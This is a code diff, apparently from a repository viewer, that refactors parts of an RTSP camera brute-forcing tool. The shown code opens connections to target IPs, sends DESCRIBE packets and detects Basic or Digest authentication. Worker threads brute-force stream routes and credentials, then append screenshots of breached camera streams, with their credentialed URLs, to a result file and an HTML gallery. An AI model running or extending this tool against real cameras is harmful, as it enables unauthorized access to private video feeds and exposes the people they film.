     107 + self.socket = socket.create_connection((self.ip, port), self.timeout)
     108 + except Exception as e:
     109 + self.status = Status.from_exception(e)
     110 + self.last_error = e
    85 111   
    86  - @socket.setter
    87  - def socket(self, value):
    88  - self._local.socket = value
     112 + retry += 1
     113 + sleep(1.5)
     114 + else:
     115 + self.status = Status.CONNECTED
     116 + self.last_error = None
    89 117   
    90  - @socket.deleter
    91  - def socket(self):
    92  - del self._local.socket
     118 + return True
    93 119   
    94  - def connect(self):
    95  - self.socket.settimeout(self.timeout)
    96  - self.socket.connect((self.ip, self.port))
     120 + return False
    97 121   
    98  - def create_packet(self, path=None, credentials=None):
    99  - """Create describe packet."""
     122 + def authorize(self, port=None, route=None, credentials=None):
     123 + if not self.is_connected:
     124 + return False
    100 125   
    101  - if not path:
    102  - path = self.route
    103  - if not credentials:
     126 + if port is None:
     127 + port = self.port
     128 + if route is None:
     129 + route = self.route
     130 + if credentials is None:
    104 131   credentials = self.credentials
    105 132   
    106  - self._local.packet = describe(
    107  - self.ip, self.port, path, credentials, self.realm, self.nonce
     133 + self.cseq += 1
     134 + self.packet = describe(
     135 + self.ip, port, route, self.cseq, credentials, self.realm, self.nonce
    108 136   )
     137 + try:
     138 + self.socket.sendall(self.packet.encode())
     139 + self.data = self.socket.recv(1024).decode()
     140 + except Exception as e:
     141 + self.status = Status.from_exception(e)
     142 + self.last_error = e
     143 + self.socket.close()
    109 144   
    110  - def send_packet(self):
    111  - """Send packet to the open connection and receive data back."""
    112  - self.socket.sendall(self._local.packet.encode())
    113  - self.data = repr(self.socket.recv(1024))
     145 + return False
     146 + 
     147 + if not self.data:
     148 + return False
     149 + 
     150 + if "Basic" in self.data:
     151 + self.auth_method = AuthMethod.BASIC
     152 + elif "Digest" in self.data:
     153 + self.auth_method = AuthMethod.DIGEST
     154 + self.realm = utils.find("realm", self.data)
     155 + self.nonce = utils.find("nonce", self.data)
     156 + else:
     157 + self.auth_method = AuthMethod.NONE
     158 + 
     159 + return True
    114 160   
    115 161   @staticmethod
    116 162   def get_rtsp_url(
    skipped 9 lines
    126 172   def __str__(self) -> str:
    127 173   return self.get_rtsp_url(self.ip, self.port, self.credentials, self.route)
    128 174   
     175 + def __rich__(self) -> str:
     176 + return f"[underline cyan]{self.__str__()}[/underline cyan]"
     177 + 
  • ■ ■ ■ ■ ■ ■
    modules/utils.py
    skipped 1 lines
    2 2  import logging
    3 3  import re
    4 4  import sys
    5  -import threading
    6 5  from pathlib import Path
    7 6  from typing import List
    8 7   
    9  -from colorama import Fore, Style
    10  - 
    11  -from modules.rtsp import AuthMethod, RTSPClient
     8 +from modules.cli.output import console
     9 +from modules.rtsp import RTSPClient
    12 10   
    13 11  logger = logging.getLogger("debugger")
    14 12   
    15  -global_lock = threading.Lock()
     13 +reg = {
     14 + "realm": re.compile(r'realm="(.*?)"'),
     15 + "nonce": re.compile(r'nonce="(.*?)"'),
     16 +}
    16 17   
    17 18   
    18 19  def generate_html(path: Path):
    19  - html_head = """<!DOCTYPE html><html>
    20  -<head><meta name="viewport" content="width=device-width, initial-scale=1.0">
     20 + html = (
     21 + f"<!DOCTYPE html>\n<html>\n<head>\n<title>{path.parent.name}</title>\n"
     22 + """<meta charset="utf-8"/>
     23 +<meta name="viewport" content="width=device-width, initial-scale=1.0">
    21 24  <style>
    22 25  html{background-color: #141414}
    23 26  img{cursor: pointer;border: 2px solid #707070;}
    skipped 6 lines
    30 33  </style>
    31 34  <link rel="shortcut icon" href="data:image/png;base64,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"/>
    32 35  </head><body>
    33  -"""
    34  - html_script = """\n<script>function f(img){
     36 +<script>function f(img){
    35 37  var text = img.alt;
    36  -navigator.clipboard.writeText(text);}</script>"""
     38 +navigator.clipboard.writeText(text);}</script>\n\n"""
     39 + )
    37 40   logger.debug(f"Generating {path}")
    38 41   with path.open("w") as f:
    39  - f.write(html_head)
    40  - f.write("\n")
    41  - f.write(html_script)
    42  - f.write("</body></html>")
     42 + f.write(html)
    43 43   
    44 44   
    45 45  def create_folder(path: Path):
    skipped 6 lines
    52 52   path.open("w", encoding="utf-8")
    53 53   
    54 54   
    55  -def append_result(result_file: Path, html_file: Path, pic_file: Path, rtsp: RTSPClient):
    56  - with global_lock:
     55 +def append_result(
     56 + lock, result_file: Path, html_file: Path, pic_file: Path, rtsp: RTSPClient
     57 +):
     58 + with lock:
    57 59   # Append to .txt result file
    58 60   with result_file.open("a") as f:
    59 61   f.write(f"{str(rtsp)}\n")
    skipped 1 lines
    61 63   # Insert to .html gallery file
    62 64   if not pic_file.exists():
    63 65   return
    64  - with html_file.open("r") as f:
    65  - data = f.readlines()
    66  - html_pic = f"""
    67  -<div class="responsive"><div class="gallery">
    68  -<img src="{pic_file.parent.name}/{pic_file.name}" alt="{str(rtsp)}" width="600" height="400" onclick="f(this)"></div></div>
    69  - """
    70  - data.insert(-4, html_pic)
    71  - with html_file.open("w") as f:
    72  - f.writelines(data)
     66 + with html_file.open("a") as f:
     67 + f.write(
     68 + (
     69 + '<div class="responsive"><div class="gallery">\n'
     70 + f'<img src="{pic_file.parent.name}/{pic_file.name}" alt="{str(rtsp)}" '
     71 + 'width="600" height="400" onclick="f(this)"></div></div>\n\n'
     72 + )
     73 + )
    73 74   
    74 75   
    75 76  def escape_chars(s: str):
    skipped 2 lines
    78 79   return re.sub(r"[^\w\-_. ]", "_", s)
    79 80   
    80 81   
    81  -def detect_code(data: str):
    82  - return int(data[11:14])
    83  - 
    84  - 
    85  -def detect_auth_method(target):
    86  - def _find_var(data, var):
    87  - start = data.find(var)
    88  - begin = data.find('"', start) + 1
    89  - end = data.find('"', begin)
    90  - return data[begin:end]
    91  - 
    92  - data = str(target.data)
    93  - 
    94  - if "Basic" in data:
    95  - auth_method = "basic"
    96  - target.auth_method = AuthMethod.BASIC
    97  - elif "Digest" in data:
    98  - auth_method = "digest"
    99  - target.auth_method = AuthMethod.DIGEST
    100  - target.realm = _find_var(data, "realm")
    101  - target.nonce = _find_var(data, "nonce")
     82 +def find(var: str, response: str):
     83 + """Searches for `var` in `response`."""
     84 + match = reg[var].search(response)
     85 + if match:
     86 + return match.group(1)
    102 87   else:
    103  - auth_method = "no"
    104  - target.auth_method = AuthMethod.NONE
    105  - 
    106  - logger.debug(f"Stream {str(target)} uses {auth_method} authentication method\n")
     88 + return None
    107 89   
    108 90   
    109 91  def load_txt(path: str, name: str) -> List[str]:
    skipped 1 lines
    111 93   try:
    112 94   if name == "credentials":
    113 95   result = [line.strip("\t\r") for line in get_lines(path)]
    114  - if name == "routes":
     96 + elif name == "routes":
    115 97   result = get_lines(path)
    116  - if name == "targets":
     98 + elif name == "targets":
    117 99   result = [
    118 100   target for line in get_lines(path) for target in parse_input_line(line)
    119 101   ]
    120 102   except FileNotFoundError as e:
    121  - logging.error(
    122  - f"{Fore.RED}Couldn't read {name} file at {path}: {repr(e)}{Style.RESET_ALL}"
    123  - )
     103 + console.print(f"[red]Couldn't read {name} file at {path}: {repr(e)}")
    124 104   sys.exit()
    125  - logging.info(
    126  - f"{Fore.YELLOW}Loaded {len(result)} {name} from {path}{Style.RESET_ALL}"
    127  - )
     105 + console.print(f"[yellow]Loaded {len(result)} {name} from {path}")
    128 106   return result
    129 107   
    130 108   
    skipped 6 lines
    137 115  def parse_input_line(input_line: str) -> List[str]:
    138 116   """
    139 117   Parse input line and return list with IPs.
     118 + 
    140 119   Supported inputs:
     120 + 
    141 121   1) 1.2.3.4
    142 122   2) 192.168.0.0/24
    143 123   3) 1.2.3.4 - 5.6.7.8
    skipped 28 lines
  • ■ ■ ■ ■ ■ ■
    modules/worker.py
    1  -import threading
    2  -from modules import utils
    3  -from queue import Queue
    4 1  import sys
     2 +from queue import Queue
     3 +from threading import Lock
    5 4   
    6  -sys.path.append("..")
    7 5  import config
    8 6   
    9  -from .attack import attack_route, attack_credentials, get_screenshot
     7 +from .attack import attack_credentials, attack_route, get_screenshot
    10 8  from .rtsp import RTSPClient
     9 +from .utils import append_result
     10 + 
     11 +sys.path.append("..")
     12 + 
     13 + 
     14 +GLOBAL_LOCK = Lock()
    11 15   
    12 16   
    13 17  def brute_routes(input_queue: Queue, output_queue: Queue) -> None:
    skipped 4 lines
    18 22   
    19 23   result = attack_route(target)
    20 24   if result:
    21  - utils.detect_auth_method(result)
     25 + config.progress_bar.add_total(config.BRUTE_PROGRESS)
    22 26   output_queue.put(result)
    23 27   
     28 + config.progress_bar.update(config.CHECK_PROGRESS, advance=1)
    24 29   input_queue.task_done()
    25 30   
    26 31   
    skipped 5 lines
    32 37   
    33 38   result = attack_credentials(target)
    34 39   if result:
     40 + config.progress_bar.add_total(config.SCREENSHOT_PROGRESS)
    35 41   output_queue.put(target)
    36 42   
     43 + config.progress_bar.update(config.BRUTE_PROGRESS, advance=1)
    37 44   input_queue.task_done()
    38 45   
    39 46   
    skipped 5 lines
    45 52   
    46 53   image = get_screenshot(target)
    47 54   if image:
    48  - utils.append_result(config.RESULT_FILE, config.HTML_FILE, image, target)
     55 + append_result(
     56 + GLOBAL_LOCK, config.RESULT_FILE, config.HTML_FILE, image, target
     57 + )
    49 58   
     59 + config.progress_bar.update(config.SCREENSHOT_PROGRESS, advance=1)
    50 60   input_queue.task_done()
    51 61   
  • ■ ■ ■ ■
    requirements.txt
    1  -av
    2 1  colorama
    3 2  Pillow
     3 +rich
Please wait...
Page is in error, reload to recover